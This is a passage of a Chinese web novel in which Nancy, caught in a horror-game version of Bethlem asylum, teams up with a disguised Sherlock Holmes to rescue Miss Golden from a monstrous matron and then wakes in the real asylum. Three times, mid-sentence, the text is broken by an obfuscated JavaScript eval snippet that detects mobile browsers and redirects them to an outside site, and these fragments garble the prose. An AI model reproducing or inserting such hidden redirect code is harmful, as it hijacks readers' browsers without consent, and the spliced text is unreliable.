身后的格兰迪夫人咆哮出声:“原来是合伙骗我,你和护工勾搭到了一起,对不对?” 福尔摩斯向前一步:“格兰迪夫人,容我——” 护士长肥大的身躯已经转向门口:“滚!” 她化作戒尺的手臂高高举起,天花板上垂下来的皮带像是长了眼睛似的,直接将歇洛克·福尔摩斯缠在了墙壁之上。 侦探的身躯撞上墙壁,发出一声闷哼。 南希竭力克制住回头观望的冲动,飞快逃窜。 更多的皮带顺着门口,像白蛇一样,追向逃窜的南希。 格兰迪夫人的身躯融进墙壁,可她的声音却距离南希越来越近。 “不检点的婊()子、□□,我就知道你们会和男人私通!”滴滴答答的脓液在南希身后坠落、成形,墙壁再次蠕动起来,“该罚,你会付出代价!” 南希攥紧裙摆。 和上次一样笔直的道路,一样的狂奔。 这么下去是没有结果的。 格兰迪夫人和整个墙壁融合,她逃不出怪物的手掌心。 遵守规则也不是通过关卡的方式,她再次弄错了条件,甚至这次还拖累了福尔摩斯。既然如此…… 她干脆停了下来。 南希暗骂一句脏话,她合拢眼睛,转过身。 重来吧! 墙壁朝着她倾塌挤压,皮带和脓液包裹住南希全身。 下一刻,她再睁眼,又是七号病房那张冷冰冰的病床,以及空无一人的房间和敞开的正门。 眼前的字幕再次发生改变。 【副本:贝特莱姆精神病院,当前关卡:绳索间。】 【角色:南希,NPC:歇洛克·福尔摩斯。】 【目前死亡次数:2。】 坑人吗这不是! 这要真是个恐怖游戏,光这个缺斤少两的游戏指引也足够广大玩家给差评了。 南希气冲冲地翻身下床。 什么摸不到其他房间的长廊,什么纯黑诡异的环境,这都不重要了。 死了两次后,南希心中恐惧全无,只剩下了卡关的懊恼和失败两次的火气。 过关的条件到底是什么? 她熟门熟路步入长廊,走到绳索间的门前,攥紧门把手,静等了大概五六分钟的时间。 纯粹寂静的黑暗之中,再次响起那道唐突的男中音。 “我不建议——” “约翰·史密斯先生。” 南希干脆利落转身,打断了福尔摩斯的开场白。 瘦削高挑的侦探猛然顿住。 那双锐利眼眸中闪过半分警惕,这次轮到福尔摩斯被吓一跳了,他急速几步,头顶的八角帽因此被甩了出去。 手中的煤油灯晃了晃,二人的影子紧跟着在墙壁上摇曳。 真稀罕啊!还能看到歇洛克·福尔摩斯受惊的模样。 南希勾了勾嘴角,而后直接开口:“先生,这不是你我第一次见面了。” 她决定向侦探坦白。 南希已经进入死局了,她决定向唯一的变量求助。 现成的外挂不用白不用——这可是歇洛克·福尔摩斯! 更何况,刚刚是她对不起侦探。 南希知道自己能复活,可福尔摩斯并不知道。明明已经强调了“优先自保”,可他还是站出来,为南希争取逃跑的契机。 该说不愧是这位侦探吗? 南希心服口服。 “我叫南希,是入夜时被送来的病人,与我一道的,还有一名叫菲娜·戈尔登的小姐,她现在就在绳索间里。” 南希果决出言,飞快指了指身后的房门。 “而我已经在里面‘死’了两次。”她说。 好在这两次“死”的都足够快,经历的内容不多。 见福尔摩斯并无打断之意,南希飞快地将一切——从被送进贝特莱姆精神病院开始,到梦中醒来,眼前的字幕、任务,包括回档机制和二人试图过关的全流程,简略但完整地复述给他。 当然了,南希省略了“约翰·史密斯”头顶挂着真名的事情。 这也是尝试。她心想。 如果眼前的“福尔摩斯”是怪物假扮,或者别有用心,大不了她再回档调整思路就是。 一回生、二回熟。现在南希心中是丁点紧张都没了。 她叙述完毕,而后总结,“我认为绳索间内一定存在某种规则,只是我失去了头绪。史密斯先生,你相信我说的话吗?” 二人之间陷入片刻沉默。 福尔摩斯弯腰拾起自己掉落在地的八角帽,指腹在帽檐上轻轻一抹,似是思索。 “我认为,南希女士,你的推测并不完全是错的。”他说。 南希松了口气:“你相信我,先生。” “尽管你的说辞诡谲离奇,可前后逻辑缜密,甚至点出了我的身份和前来的过程,我听不出什么破绽——况且,眼下的情况,确实也不能用常理来理解。”福尔摩斯说道。 “排除所有不可能后,再不切实际的内容,也只会是真相*。”南希道出了原作中福尔摩斯的名言。 这让名侦探眉梢一挑,他一甩手腕,轻松将八角帽戴回头顶。 如此动作,堪称俏皮。 “是这个道理,”福尔摩斯回归正题,“上次‘死亡’之前,你我服从格兰迪夫人的规则,因此她没有第一时间攻击我们。这说明服从格兰迪夫人,确实是通过关卡的条件之一。” “但她杀死戈尔登小姐之后,将矛头对准了我。”南希拧起眉心。 “很简单,菲娜·戈尔登小姐不能死,”福尔摩斯笃定道,“南希女士,你同样位于格兰迪夫人的名单之上,她死后,下一个受害者一定是你。” 南希心头一跳。 她豁然开朗,南希猛然抬头:“那么绳索间的通关规则很明确了。” 歇洛克·福尔摩斯冷淡的面孔中,浮现出几不可查的笑意。 “要在不忤逆格兰迪夫人的情况下,救下戈尔登小姐。”福尔摩斯总结,“说起来简单,做起来可不容易。” 但只要条件明确,怎么都好说。 确实可以试试!南希迅速回想了一遍上次回档前的事情。 “先生,”南希提到,“格兰迪夫人没有第一时间攻击你。” “根据你的说法,她接受了我自称受登特医生委托而来的说辞,”福尔摩斯说,“所以格兰迪夫人并不知晓绳索间之外的事情,在不违背其意愿的情况下,她可以进行沟通……南希小姐,也许你可以更改你的身份。” 更改身份? 她的身份就是病人,而且格兰迪夫人认识南希,无法就此说谎。 南希侧了侧头,顺着福尔摩斯的话语展开思路。 但病人也分不同类型,听话的、不听话的,反抗压迫的和…… 她的双眼一亮。 “我可以做格兰迪夫人的帮凶。”南希明白了。 “少见的冷静与应变。”福尔摩斯一勾嘴角,“怪不得他们会将你送入精神病院。” “……” 南希愣了一下,才反应过来,歇洛克·福尔摩斯是在开玩笑。 好冷啊!只是在这紧绷诡异的环境下,他一句带着称赞的讥讽,还是让南希顺利破功,笑出声来。 行吧。 “多谢夸奖。”南希忍俊不禁。 她也不禁庆幸:没什么比在这鬼地方碰见神队友更令人安心的了。 这叫南希焦躁的心情多少平复了一些。 既然福尔摩斯都同意了,那就试试看。 “我会扮演成支持格兰迪夫人暴行的人,”南希说,“先行进门,尝试稳住格兰迪夫人,哄她别向戈尔登小姐动手。” “然后我会找个合适的借口,说服她将你与戈尔登小姐交给我、转移给登特医生。”福尔摩斯接道。 听起来没什么问题。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16322496|183145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 只是…… 回想起头两次失败,南希抿紧嘴唇。 福尔摩斯垂眼,浅色的眼睛依旧平静。 “失败并不可怕,南希女士,”他说,“只要它能使我们比上一轮更接近真相。” 这可真是福尔摩斯式的发言。 南希只是心念一动,侦探就已经看穿了她的内心想法。而且,他说的也没错。 大不了再次回档,反正也没其他出路了。 而且这一次,南希觉得希望很大。 她抬头,迎上福尔摩斯的目光,郑重点头。 转身面对绳索间,她扭动门把手。 依旧是那诡异空旷的病房,依旧是被反绑在椅子上的戈尔登小姐。 背后歇洛克·福尔摩斯的目光灼灼,南希干脆利落进门。 她环视四周,而后径直走向房间一角。 做帮凶也得融入环境才行。 乖乖躺在病床上太被动了,上次回档之前,南希简直就是在躺平等死。因此她看也不看求救的戈尔登小姐,拿起了角落里肮脏的笤帚—— 然后当场弯腰,认认真真扫起地来。 反绑住的戈尔登小姐:“……” 这场面太过诡异了! 正常情况下,谁会无视一名鲜血淋漓、还哭喊救命的受害者,进门打扫卫生的?这让戈尔登小姐当场愣在原地,甚至忘却了哭泣叫喊。 这是个好机会! 南希佯装扫地,一路向后磨蹭,挪到了高背木椅后方。 她靠近戈尔登小姐,压低声音:“别叫,保存体力,乖乖听话认错。我们会想办法把你救出去。” 戈尔登小姐猛然瞪大眼:“我们?还有——” “嘘。” 这次,她站在椅子后方,正眼看到了格兰迪夫人出现时的场面。 那白色脓包第三次坠落在地,流脓腐烂的身躯和面孔仍然让南希感到恶心。她赶忙挪开目光,继续假装清扫地面。 果不其然,哪怕南希没躺在病床上,格兰迪夫人也没有攻击她。 脓肿的护士长彻底忽视了南希的存在,她蠕动到戈尔登小姐面前。 “你真是冥顽不灵,怪不得被继母送到了这里来,戈尔登小姐。”格兰迪夫人道出与上次一样的话。 戈尔登小姐吓坏了。 但她仍然记着刚刚南希的叮嘱,颤抖着双唇,忍着哭腔:“对,对不起,格兰迪夫人,我错了,对不起!” “哦?” 格兰迪夫人污浊的眼球一转,冷笑出声,“现在倒是改口了,我看只是不想挨打而已!要是知错,你怎么会不知羞耻地和男人私()通!” “我没有私通!” 戈尔登小姐痛哭出声,“格兰迪夫人,你误会我了。” 不好,南希的心骤然沉了下去。 说好的乖乖听话,就让她说几句怎么了! 戈尔登小姐一出言反驳,格兰迪夫人直接裂开了腐烂的大嘴。 “还敢顶嘴!”她咆哮道,“我看你就是欠收拾!” 不能让她打人,任由“剧情”这么发展下去,就和上次没什么区别了。 南希一面思索,一面抬头。 站在椅子后方,她的位置正对绳索间门前,敞开的门扉之间,歇洛克·福尔摩斯站在原地,飞快地抬手,指向了南希……手中的笤帚。 对了。 她是帮凶。 南希立刻心领神会,她可以抢戏的! 意识到这点,南希猛然挺直脊梁。 “我真是听不下去了!”她大喊一声。 与此同时,格兰迪夫人已经高高举起了化成鞭子的手。 怪物的动作停在原地,浑浊的眼球滴溜溜转向南希。而南希一个健步,就冲到了椅子侧面,抬起笤帚,狠狠给了戈尔登小姐一下。 “啪”的一声,在室内分外明晰。 但笤帚打人再疼,也远远比不上那生着倒刺的皮鞭。 南希故意与格兰迪夫人并肩而立,举着笤帚、叉着腰,将狗腿子的模样学得惟妙惟肖。 “不要脸的……女人!”南希还是没把脏话骂出口,她恶狠狠斥责,也不忘记给戈尔登小姐疯狂使眼色,“我听着来气,格兰迪夫人,你别受累,让我来替你处罚她!” 5. 第一夜(四) 005 南希压根没给这脓肿怪物反应的时间。 她又是一扫帚,狠狠抽在了戈尔登小姐的身上。 “说,你是不是坏女人?”她扬声喊道,拼命向戈尔登小姐使眼色。 再恐惧、再无措,扫帚和鞭子哪个更可怕,戈尔登小姐也是能分清楚的。 她涕泗横流,被剃了头发、还鲜血淋漓的面庞毫无体面可言。都这个程度了,戈尔登小姐终于抓住了南希递来的救命稻草。 “我……我是,”她哽咽道,“我是!” “还是格兰迪夫人教育的好,你才能认识到错误,”南希语重心长,还不忘记吹捧一下身边的护士长,“但你刚刚还嘴硬,该罚。” 说完,她又是抽了戈尔登小姐一下。 “不检点的女人,该承认错误,感谢格兰迪夫人的教导,是不是?”她问。 “是……是。”戈尔登小姐哭着点头。 “给我说做什么,”南希朝着格兰迪夫人示意,“你该对格兰迪夫人本人道谢。” 狗腿子演到这个程度,她真的是尽力了。 而戈尔登小姐,也总算是放下了最后的挣扎。 她颤颤巍巍抬眼,吸了吸鼻子,可怜巴巴地开口:“我是不检点的女人,送进来是为了接受教育,感谢夫人您……您对我的悉心教导。今后我,我会好好听话,做个好病人。” 格兰迪夫人很是满意。 她护士裙下腐烂臃肿的身躯晃了晃,脓液流淌一地:“这还差不多,还算有救。” 是错觉吗? 南希眨了眨眼,总觉得脓包怪物的身躯,比刚刚小了一些。 白色脓液淅淅沥沥坠落,统统被地板吸收。 黏糊恶臭的场面让南希胃部仍然不太舒服,但肉眼可见的,格兰迪夫人恨不得挤破天花板的肥大躯体正在萎缩。 这…… 是好事啊! 南希顿时来了精神:“死亡”两次后,终于在福尔摩斯的提示下获得了剧情进展。 是不是等她萎缩到消失,他们就会通过绳索间的关卡? 但格兰迪夫人并没有被完全“吸收”掉,她在房间内转了转,而后再次看向戈尔登小姐。 身躯缩小后,护士长的面部不再肿胀,腐烂的眼眶看上去更为狰狞。 “表面上是听话了,谁知道背地怎么样?”格兰迪夫人喃喃道,“我检查了她口腔和下面,没藏什么东西,但身体里就不一定了……” 戈尔登小姐闻言,险些没能绷住哭腔。 南希反应飞快,又给她一扫帚。 她故意打断对方的嚎啕:“嚷嚷什么?格兰迪夫人说什么就是什么。” 明明都按照格兰迪夫人的话认错了,怎么还惦记着检查戈尔登小姐的身体?回想起上次回档前堪称屠宰场的画面,南希打了个寒战。 这节骨眼上,她能做的就很少了。总不能替护士长锯开戈尔登小姐的肚子吧! 所以—— 趁着格兰迪夫人自言自语的时候,南希扭头。 她的视线刚好与跨过门槛的歇洛克·福尔摩斯目光相撞。 瘦削高挑的侦探,敲了敲推开的铁门。 “咚咚咚”三声响。 恨不得凑到戈尔登小姐脸上的护士长骤然起身。 脓包逐步被地板吸收,却也是常人理解范畴中的粗壮肥胖。格兰迪夫人气喘吁吁转身,带着火气咆哮:“谁啊?!” 福尔摩斯在怪物身后站定。 他礼貌地摘下八角帽,低了低头,“格兰迪夫人,你还记得我吗?” 怒气冲冲的格兰迪夫人愣在原地。 她俯下()身,脏污的眼球转向福尔摩斯,片刻过后,道出和上次回档前一样的台词,“约翰·史密斯……我记得你,男病房区新来的护工,你到东边来做什么?” “登特医生请我过来的。”福尔摩斯说,“到了戈尔登小姐会诊的时间。” 格兰迪夫人没有说话。 她的沉默让南希的心猛然加快,万一这次格兰迪夫人不信了怎么办? 脓包的身躯晃了晃,格兰迪夫人发出嫌恶的声音。 “又是登特医生,这个手脚不干净的老流氓,”格兰迪夫人咒骂道,“总是在我管教病人时添乱。” 她每骂一句,南希都忍不住吞一口唾沫。 但话到最后,格兰迪夫人往一旁撤退半步。 “算你今天走运,戈尔登小姐,”护士长用沙哑的声音出言,“先跟着护工走吧。” 这么一打岔,格兰迪夫人就不再惦记着“检查”。而且听她的口吻,护士长似乎很是忌惮登特医生,并和他有些矛盾。 这是伏笔吗? 按照南希对恐怖游戏的了解,后面的关卡八成会有这位登特医生出场。 不止是南希长舒口气,被反绑在高背木椅上的戈尔登小姐早已是泪流满面。 她不敢说话,也不敢动,哪怕周身的皮带像是长了眼睛一般撤走,戈尔登小姐仍然傻坐在椅子上。 福尔摩斯别着头上前,脱下自己的外套丢过去。 “戈尔登小姐,劳烦您快点,”他尽职尽责扮演一名护工催促,“我还有其他活要干,忙得很。” 戈尔登小姐早就吓脱力了,哪里能快? 她救命般拢紧福尔摩斯递来的外套,颤颤巍巍撑着身子起身。 还没走出两步,身后的格兰迪夫人骤然出言。 “不对,”肥胖的护士长回过味来,“现在是什么时候,怎么就到了会诊时间?” 不好! 南希的心再次提了起来。 她眼睁睁看着地板开始蠕动、扭曲,格兰迪夫人站着的地方,白色的脓液像是煮开了的浆糊般慢慢“沸腾”,好似要为她腐烂的身体提供养分。 好不容易萎缩下去的怪物,因为横生怀疑,又有隐隐膨胀之势。 不能这么下去。 南希抬眼看向福尔摩斯,对方却仍然保持着冷静。 他就像是全然没察觉到格兰迪夫人的异常般,锐利双目径直朝着南希看过来。 在脓包怪物看不到的地方,福尔摩斯张了张嘴,用唇语做出提示—— “尖叫。” 南希瞬间明白了。 格兰迪夫人能够沟通,脑子却很刻板。她几次的行为、台词,都说得大差不离,而且注意力能被更重要的事情转移。 遵守规则是最优先的,其次是她对登特医生心存忌惮。 只要顺着她说就行! 想通这点,南希二话不说,尖叫出声。 “——不行!” 她从来不知道,自己还能有这么大嗓门呢。 中气十足的一声大喊,恨不得要将整个绳索间震上三震。别说是格兰迪夫人了,连歇洛克·福尔摩斯都愣了瞬间。 南希抓紧手中的笤帚,一个健步上前,故意“挡住”了戈尔登小姐的去路。 “你怎么能让她跟着男人走,夫人!”她回想起上次回档前格兰迪夫人的话,模仿着她的语气开口,“万一他们是串通好的,万一她与约翰·史密斯有染怎么办?!” 戈尔登小姐一听急了:“我没——” 南希抓了戈尔登小姐一把。 这一下又准又狠,牢牢攥紧戈尔登小姐的手臂。 看似是不许她走,实则南希前进半步,用自己的肩膀稳住戈尔登小姐摇摇欲坠的身躯。 无声的支援,让戈尔登小姐猛然回神。 她也许没搞明白南希的意图,但实实在在察觉到南希是在帮助自己。 “你怎么可以这么冤枉我,”戈尔登小姐一转啜泣,她摆出可怜的模样,“你这么说,那我不走了,我都听格兰迪夫人安排。” “夫人。” 福尔摩斯适时插话,“天地可鉴,我平日工作忙得很,没功夫与病人打交道。你要是不信,就让戈尔登小姐自己去见登特医生。刚好我还得打扫男病号区的卫生。” 护士长当然不可能放任戈尔登小姐自己走。 “南希说得对,”怪物沉思起来,“不能让一个病人单独与男人碰面……” 格兰迪夫人恨不得掉出眼眶的眼球,以可怕的角度转向了南希。 再与之对视几遍,南希仍然觉得恶心。 “你去,”格兰迪夫人宣布,“跟着他们两个,有任何问题,立刻把这婊()子给我抓回来。” 有戏啊。 南希强绷住面孔,以防自己露出笑容。 重开三遍关卡,能看得出来怪物的逻辑还是非常简单的。 只要说中她心中所想就行,回档、死亡,以及与歇洛克·福尔摩斯交换有用的情报,都是有意义的! 格兰迪夫人越想越可行,她高高举起化作戒尺的手—— “咔嚓”一声。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16322497|183145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 绳索间的另外一头发出门锁声响。 雪白的墙壁蠕动扭曲,脓液褪去,一个崭新的铁门露了出来,自动打开。 “一定守好。”格兰迪夫人的身形越来越小,“否则你也有逃不掉……” 话到最后,护士长萎缩的身躯,彻底融化在了地板之间。 南希这才丢掉扫帚,两只手都撑住戈尔登小姐。 “别倒下,”她冷声提醒,“我们出去再说。” 戈尔登小姐哽咽着拼命点头。 南希从没觉得哪条路这么漫长过。 从房间中央到出口,不过十几步路的路程,却是每一步都踏得胆战心惊。南希生怕身后消失的格兰迪夫人再次出现,用什么借口拦住他们的去路。 好在没有。 踏出房门,再回过头,绳索间内的一切场景自动变灰、变暗,直至完全消失。 这是……通关了? 那一刻,别说是戈尔登小姐,连南希都是脚下一软,直接跌坐在地上。 “吓死我了!” 她不住拍着胸口,双手后知后觉因为肾上腺素飙升而开始颤抖,“先生,你要是晚上一步,我和戈尔登小姐又会玩完!” 福尔摩斯飞快一扯嘴角。 “请不要妄自菲薄,南希女士,”他开口,“你的反应速度非常快,令我刮目相看。” 南希干笑出声。 如果不是在这种场面下,她会因为堂堂名侦探称赞自己而高兴的! 现在…… 四周黑灯瞎火,除却福尔摩斯和戈尔登小姐,南希什么都看不到。通过了这个关卡,下个关卡又是什么?这里到底是什么情况? 以及,歇洛克·福尔摩斯怎么会在这里,他又为什么乔装成“约翰·史密斯”,成为贝特莱姆精神病院的护工? 问题还是太多了。 南希抬头,看向侦探高挑的身形,刚欲开口,就听到远处一阵隆隆声。 如惊雷一般的声响,炸得她一个激灵。 “怎么了?!”她看向那纯粹的黑暗。 世界好像在倾塌。 那片黑碎掉了,就像是地震中被拉扯的房屋,扯开了一个大口子。惊雷从这口子中闪过,而后是冷风。 这倾塌的速度太快了。 南希搀扶起戈尔登小姐的同时,撕碎的口子就被“扯”到了他们面前。在戈尔登小姐的尖叫声中,南希连连后退! 歇洛克·福尔摩斯冷不丁大笑一声。 他拳头击掌,面临着惊雷、冷风和骤雨,一双浅色眼睛在闪电光芒中熠熠生辉。 “我知道了!” 侦探转过身看向南希,狂风吹起他的大衣,高挑的青年长身玉立。 “我知道我们身处何地了,南希女士,”福尔摩斯毫不掩饰兴奋之色,“请在登特医生的诊室前等我!” “什么?!” 什么登特医生的诊室,他怎么知道她会去登特医生的诊室?这是下一关的提示吗? 更多的问题随着他的言辞涌上心头,然而南希还没来得及追问,裂开的黑暗就已经彻底破碎。 她猛然失足,坠落下去—— 而后南希一个激灵,本能蹬腿,睁开了眼睛。 落入视野的是生着霉斑的天花板,和头顶只有篮球大小窗户。 高高的窗子大开,潮湿的冷风和雨滴吹拂进来。外面下雨了,天还没亮,室内阴沉沉的。 但仍然有光,南希扭过头,看到自己的两位室友——內莉·布朗和路易斯·施密特,正躺在床上,还没醒来。 她人在七号病房。 南希回来了! 什么情况,歇洛克·福尔摩斯的声音犹在耳畔。难道离谱的副本和侦探本人都是她的噩梦吗?南希睡意全无,她无声起身。 再抬起眼。 室内响着室友的呼吸声,还有冷风吹着窗户的嘎吱作响,雨点被带进室内,时不时落在她身上。 周遭的亮度越来越高,似乎是天快亮了。 一切都证明,和刚刚的“副本”不同,南希身处现实之中。 但是她的视野中,仍然漂浮着那诡异的字幕。 并且字幕发生了变化。 【副本:贝特莱姆精神病院,当前关卡:绳索间,已通关。】 【角色:南希,已升级。】 【下面进行任务结算和升级奖励。】 6. 第二日(一) 006 到最后一行字,南希顿时来了精神。 原来通关还有奖励,那也不枉她“死”了两回了! 她坐在床边,视野中飘荡的字幕仍在滚动。 【当前关卡:绳索间已通关,任务完成。用户:南希将获得系统指引功能。】 【用户:南希,收获信徒×1,能力已升级。】 【升级奖励:获得技能卡《大小姐的学识》。】 什么? 这几句话说的南希一愣,只见视野之中,一张造型古朴的卡牌凭空出现,就像是手游抽卡似的,亮出背面、而后收拢进字幕上方的【卡组】之中。 南希心念一动,【卡组】一栏中的卡牌重新亮相。 漂浮在空中的卡牌并不是现实存在的,它随着南希的想法调转,上面用十九世纪版画的风格,雕刻着菲娜·戈尔登小姐位于闺房中的形象。 【大小姐的学识:启动卡牌时,用户可以获得菲娜·戈尔登的眼界和知识。】 原来戈尔登小姐,还真是体面人家出身。 看卡面中描绘的精致衣物和室内装潢,估计还非常有钱。 不知是遭遇了什么变故,才被送入贝特莱姆精神病院。 那么系统机制很明确了:完成任务、收获“信徒”,南希就能升级、获得卡牌。 虽说不知道大小姐的学识在精神病院有什么用,但聊胜于无。 不过…… 南希的视线从卡面挪开,卡牌再次收入卡组,她敏锐抓住了重点:什么叫收获信徒? 副本中,菲娜·戈尔登小姐选择相信她、配合她,最终获救。这就算是成为了她的信徒吗。 但是她为什么会拥有信徒? 同伴、朋友,乃至拥趸和粉丝就算了,信徒这词太微妙了!她又不是什么神明,她明明是普通——嘶! 尖锐疼痛打断了南希的思路。 她还是对自己的身份毫无记忆。 【请用户不要惊慌,随着完成副本,您的记忆将会逐步解锁。】 公事公办的安抚字幕显现,紧接着,系统又生成了下一行。 【副本:贝特莱姆精神病院,当前关卡:暂无。请玩家继续进行现实探索。】 看来这就是刚刚任务完成获得的系统指引功能了,目前看来,比升级收获的卡牌用处大得多。 一句“继续进行现实探索”,足以证明夜间的副本是基于现实生成的。 那么问题来了。 副本中的歇洛克·福尔摩斯,是真实存在的,还是副本NPC?南希可没在现实的精神病院中见过他。 他最后那句话又是什么意思呢? 沉思之时,天已大亮。 旁边床榻的內莉·布朗,翻了个身,从睡梦中缓缓醒来。 年轻姑娘睡眼惺忪地起身,打了个呵欠,“南希,你醒的好早。” 南希苦笑出声:“没睡好。” “人之常情,”內莉起床,还不忘记拍拍隔壁的路易斯,“快收拾好,一会护士要来查房了。” 她话音落地,就听到病房外的走廊前传来了尖锐铃声。 昨日那名女护士在长廊中气十足大喊:“起来了,起来了!一群懒鬼,出来换衣服!” 几十名女病人,统一到病房外的长廊更换衣服,毫无隐私和尊严可言。 又是一项服从性测试,但经历了昨天更衣室的场面,南希可不敢犹豫反抗了。 搞清楚副本、找回记忆,还得想办法怎么出去,都得一步一步来。 最基础的是要活下去。 南希跟在內莉身后,排队来到餐厅。 一看时间,才早上六点。 几十名病人落座,桌面只有硬如石头的面包,和装在脏碗罐里的“鸡汤”和黄油。南希闻了闻那汤和黄油的味道……默默收回了手,艰难地啃起干面包。 她还没忘记进入副本之前,內莉说过的话。 “內莉,”于是南希出言,“你昨天夜里说,第二天会有医生会诊,什么时候?” “吃过早饭,护士就会来接你。今天应该是……登特医生值班。” 登特医生? 听到熟悉的名字,南希的心提了起来。 而內莉却是露出了恶心的表情。 “噫,那个老家伙,”她毫不掩饰脸上的嫌弃,“你也是倒霉,南希,上来就碰到他。” “登特医生……有什么问题?”南希问。 “爱借由检查之名占便宜,”內莉解释,“要么就借机揩油,要么就索要好处,总之一定会想办法捞点什么。你得强硬起来,他充其量就是让格兰迪夫人给你穿小鞋,但总比在你裙底摸个好几回好。” 南希抿紧嘴唇。 十九世纪的精神病院,完全不把病人当人看。 别说基本人权了,这里连科学诊断都做不到。南希往食堂扫一圈,发现能一眼看出患有精神疾病的不过寥寥。大部分女病人和內莉一样,都在同身边的同伴说悄悄话,完全察觉不出有什么问题。 恐怕都和南希,和菲娜·戈尔登小姐一样,是情夫,是继母说有问题,就直接塞了进来。 想到戈尔登小姐…… “內莉,你旁边的是新来的?”一道妇人的提问打断了南希思路。 她抬头,和內莉一同看过去。隔壁桌的中年妇人正好奇端详着南希,连连咋舌:“看起来脑子挺灵光,这次新来的两个,真是了不得。” 內莉顿时八卦起来:“我听说另外一个,昨天夜里就进了绳索间?” “出来啦,”妇人对着食堂外点下巴致意,“那不是吗。” 出来了?! 南希不禁讶然。 坐在餐桌前的,果然是菲娜·戈尔登小姐。 她不再是副本中被剃光头发、鲜血淋漓的模样,穿着标准的白病服,脸上、脖子上虽有戒尺留下的红痕,但总体保住了体面。和其他病人一样,捏着干面包,小口小口吃着。 似乎是感应到了有人在看,戈尔登小姐转身,迎上南希的视线。 四目相对,她对着南希点了点头。 而后戈尔登小姐无声开口,用唇语清晰说道—— “谢谢。” 南希蓦然愣住。 身边的內莉还在同隔壁桌的病人闲聊,“头一次见识到,进了绳索间还能出来的!” “你可没见到这位小姐对格兰迪夫人的态度,那叫一个大献殷勤。狗腿子当的好,自然是给她破例了。说实话,挨顿毒打能点头哈腰,也是头脑转得快。这不,今天早上她就搬去三号病房 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16322498|183145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” 要是昨夜的戈尔登小姐,决计不会这么做! 在加上那句无声地感谢…… 她记得。 菲娜·戈尔登小姐,记得副本中的经历。 所以副本里发生的一切,某种程度上,是可以影响现实的。 这……这也是好事吧! 至少戈尔登小姐不会遭受虐待,惊险刺激的副本关卡,也算是有了现实意义。 南希默不作声挪开视线,把手中最后一块面包吃完。 “南希·赛克斯!” 待到早餐时间结束,格兰迪夫人才回到食堂。 她依旧是五大三粗、满脸横肉的模样,但这可要比副本中的怪物形象好太多。护士长咆哮出南希的名字,“登特医生要见你,快点吃完跟我走。” 这倒是也和副本中的“剧情”微妙对应了。 “这就来,夫人,”南希恭顺道,“耽误您工作了。” 格兰迪夫人挑眉。 她上下打量南希一眼,很满意道:“倒是懂事,你们几个,都跟南希学学。走吧。” 南希连忙小跑跟上。 贝特莱姆精神病院分为东西两翼,中间是就诊和招待区域。 格兰迪夫人连开了三道房门,才带领南希来到诊室前。 “一会有护士来接你回去,”格兰迪夫人不耐烦道,“别给我找麻烦——怎么登特医生还有其他病人要见?” 后半句话当然不是对这南希说的。 女护士长一见到诊室房门打开,走出来旁人,脾气顿时就上来了。 她语气不客气,走出来的人却是礼貌地摘下帽子。 粗棉外套也遮不住的瘦削高挑,护工将八角工人帽拿在手中,一双锐利的眼眸看过来。 “抱歉,格兰迪夫人,”对方冷声出言,“我不是来送病人的。” 那一刻,南希身形猛顿。 是昨夜副本中,乔装成男护工的歇洛克·福尔摩斯! 原来他最后说,在登特医生的诊室外相见是这个意思。 那不是梦,侦探也不是仅限副本中的角色,现实中,他也混进了精神病院。 南希心跳砰砰加快,她勉强维持住脸上的平静。 而向格兰迪夫人道歉之后,福尔摩斯的视线转向了南希。 他刚欲开口,一道温吞、滑腻的声线,就从诊室内部抢了先。 “新来的女病人到了?怎么样,约翰,我听说长得还挺标致。”——室内的登特医生如此开口。 南希分明看到歇洛克·福尔摩斯挑起了眉梢。 他没搭腔,但是格兰迪夫人在身后重重拍了南希一下。 “别给我找麻烦,”护士长第二次强调,“忍忍就过去了,又不会少块肉,快去!” 格兰迪夫人推了南希一把,她踉跄几步,与福尔摩斯擦肩而过。 “请小心,女士。”侦探冷不丁出言。 当着护士长的面如此叮嘱,可见歇洛克·福尔摩斯早就知道登特医生什么德行。 这二人的言辞,已经是明示南希,她会遭遇咸猪手了! 行吧。 南希深吸口气,侧头看了侦探一眼。 而后她推开诊所虚掩的房门,视线挪向屏幕中漂浮的【卡组】按钮。 7. 第二日(二) 007 南希推开诊室房门。 诊所足够宽敞,但同样压抑。所有窗子都是从外反锁的,铁架子病床用白色帘子遮掩,医生的办公桌前甚至没有配备椅子。 这意味着病人要站着问诊,光是这足够反人类了。 坐在办公桌后的医生抬起头来。 是个中年人,四十岁左右,戴着眼镜、秃顶分明。他煞有介事地扶了扶镜框,看向手中的病历单:“南希·赛克斯,是吧?” 问题来了,该怎么在精神病院里,向医生证明自己没病? 南希决定走一步看一步。 